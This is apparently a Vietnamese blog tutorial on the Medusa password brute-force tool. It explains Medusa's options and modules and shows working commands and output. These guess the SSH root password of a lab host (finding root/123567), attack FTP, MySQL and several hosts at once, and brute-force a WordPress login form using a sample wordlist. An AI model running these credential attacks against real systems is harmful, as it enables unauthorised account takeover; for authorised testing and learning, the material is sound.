Medusa là một công cụ được dùng để tấn công brute force password cố gắng truy cập hệ thống từ xa, nó hỗ trợ nhiều giao thức khác nhau.
Cài đặt
Cài đặt một số gói cần thiết
yum update -y
yum install epel-release
Cài đặt medusa
yum install medusa
Sử dụng
Bạn có thể sử dụng lệnh
medusa -h
để xem các option của nó. Dưới đây là một số option mà tôi hay sử dungj:
- -h : Địa chỉ của máy mục tiêu ta muốn thực hiện brute force ( IP hoặc domain )
- -H : file chứa danh sách các máy mục tiêu
- -u : chỉ ra username dùng để kiểm tra
- -U : chỉ ra file chứa danh sách các username
- -p : chỉ ra password dùng để kiểm tra
- -P : chỉ ra file chứa danh sách password dùng để kiểm tra
- -O : chỉ ra file để nó ghi log vào
- -d : hiển thị toàn module mà medusa hỗ trợ
- -M : chỉ ra module bạn muốn brute force ( dùng option -d bên trên để xem toàn bộ module được hỗ trợ nhưng bỏ qua phần đuôi .mod)
- -m : truyền vào các tham số yêu cầu của các module. Option này có thể được sử dụng nhiều lần ( Vd: -m param1 -m param2)
- -n : chỉ ra địa chỉ port
- -s : cho phép sử dụng SSL
- -f : nếu bạn sử đang tấn công cùng lúc cả username và password bạn sử dụng tùy chọn này thì câu lệnh sẽ dừng khi nó tìm thấy thông tin đăng nhập đầu tiên.
- -F : nếu bạn đang thực hiện tấn công đồng thời nhiều máy option này sẽ dừng câu lệnh khi có 1 username và password của bất kì host nào được tìm thấy.
- -q : chỉ ra các tham số sử dụng cho module được chỉ ra
- -Z : nếu bạn đang thực hiện brute force với một dang sách mật khẩu và đã đến mật khảu thứ 100 là
100100
và vì một lý do nào đó bạn nhấnCtrl C
và thoát ra khỏi câu lệnh. Bây giờ bạn muốn scan tiếp từ mật khẩu này bạn sử dụng option -Z và chỉ ra mật khẩu lúc trước đã đến-Z 100100
Ví dụ
Hiển thị các module mà medusa hộ trợ
[root@medusa ~]# medusa -d
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
Available modules in "." :
Available modules in "/usr/lib64/medusa/modules" :
+ afp.mod : Brute force module for AFP sessions : version 2.0
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.0
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.1
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.0
+ svn.mod : Brute force module for Subversion sessions : version 2.0
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.1
+ web-form.mod : Brute force module for web forms : version 2.1
+ wrapper.mod : Generic Wrapper Module : version 2.0
Brute force một số dịch vụ
Tôi có một file chứa danh sách các mật khẩu như sau
[root@medusa ~]# cat passwd.txt
123456
123456789
123123
111111
123567
anhyeuem
1234567
0123456789
0123456
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123qwe
147258
123@
File chứa danh sách các địa chỉ các host
[root@medusa ~]# cat host.txt
10.10.35.124
10.10.35.127
demo.niemdt.com
192.168.1.5
Brute force mật khẩu ssh root
đến máy có địa chỉ 10.10.35.127
medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh
Kết quả trả về như sau
[root@medusa ~]# medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456789 (2 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123123 (3 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (4 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123567 (5 of 24 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.35.127 User: root Password: 123567 [SUCCESS]
Ta thấy root/123567
là thông tin đăng nhập của máy 10.10.35.127
Dịch vụ ftp
medusa -h 10.10.35.127 -u root -P passwd.txt -M ftp
Nếu một dịch vụ không sử dụng cổng mặc định thì ta có thể chỉ ra bằng cách sử dụng option -n
.
medusa -h 10.10.35.127 -u admin -P passwd.txt -M mysql -n 5000
Brute force nhiều host cùng một lúc
medusa -H host.txt -u root -P passwd.txt -M ss
Brute force web login
Để brute force web login ta sử dụng module web-form
Xem các tham số có thể sử dụng cho module web-form
[root@medusa ~]# medusa -M web-form -q
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
web-form.mod (2.1) Luciano Bello <[email protected]> :: Brute force module for web forms
Available module options:
USER-AGENT:? User-agent value. Default: "I'm not Mozilla, I'm Ming Mong".
FORM:? Target form to request. Default: "/"
DENY-SIGNAL:? Authentication failure message. Attempt flagged as successful if text is not present in
server response. Default: "Login incorrect"
CUSTOM-HEADER:? Custom HTTP header.
More headers can be defined by using this option several times.
FORM-DATA:<METHOD>?<FIELDS>
Methods and fields to send to web service. Valid methods are GET and POST. The actual form
data to be submitted should also be defined here. Specifically, the fields: username and
password. The username field must be the first, followed by the password field.
Default: "post?username=&password="
Usage example: "-M web-form -m USER-AGENT:"g3rg3 gerg" -m FORM:"webmail/index.php" -m DENY-SIGNAL:"deny!"
-m FORM-DATA:"post?user=&pass=&submit=True" -m CUSTOM-HEADER:"Cookie: name=value"
Tôi thử thực hiện brute force đăng nhập vào khung đăng nhập admin của wordpress
medusa -h wp.niemdt.com -u admin -P passwd.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In" -m DENY-SIGNAL:"Lost your password?"
Trong đó :
- wp.niemdt.com là địa chỉ của web site
- module là web-form
- FORM: địa chỉ của đường dẫn đến form đăng nhập. Với wordpress sẽ là
wp-login.php
. Nếu không chỉ ra thì mặc định sẽ là “/” - FORM-DATA: giá trị có dạng
mothod?fields
. Method có thể làget
hoặcpost
. Field là tham số nhận giá trị truyền vào. Nếu bạn chưa biết các xác định thì tham khaỏ thêm bên dưới. - DENY-SIGNAL : Khi xác thực bị faild thì ta sẽ thấy một thông báo trả về. Ta xác định 1 đoạn text trong thông báo trả về mà chỉ thấy nó khi đăng nhập sai. Mỗi lần đăng nhập nó sẽ tìm đoạn text này. Nếu không tìm thấy thì nó sẽ xác định là bạn đã đăng nhập đúng
Kết quả trả về như sau
Ta thấy khi check đến password 123567
thì thấy có lỗi.
Vì trạng thái code ở đây trả về là 302 chứng tỏ nó đã redicert đến trang
khác. Trong woprdpress khi đăng nhập đúng nó sẽ được chuyển đến trang
admin. Tôi dùng mật khẩu trên đăng nhập thi thấy thành công.
Cách xác định Field
trong FORM-DATA
Bạn truy cập vào form đăng nhập sau đó nhấn F12
sau đó load lại trang web
Tìm file wp-login.php
sau đó ấn vào xem chi tiết
Bên trên là một số trường hợp tôi hay sử dụng với medusa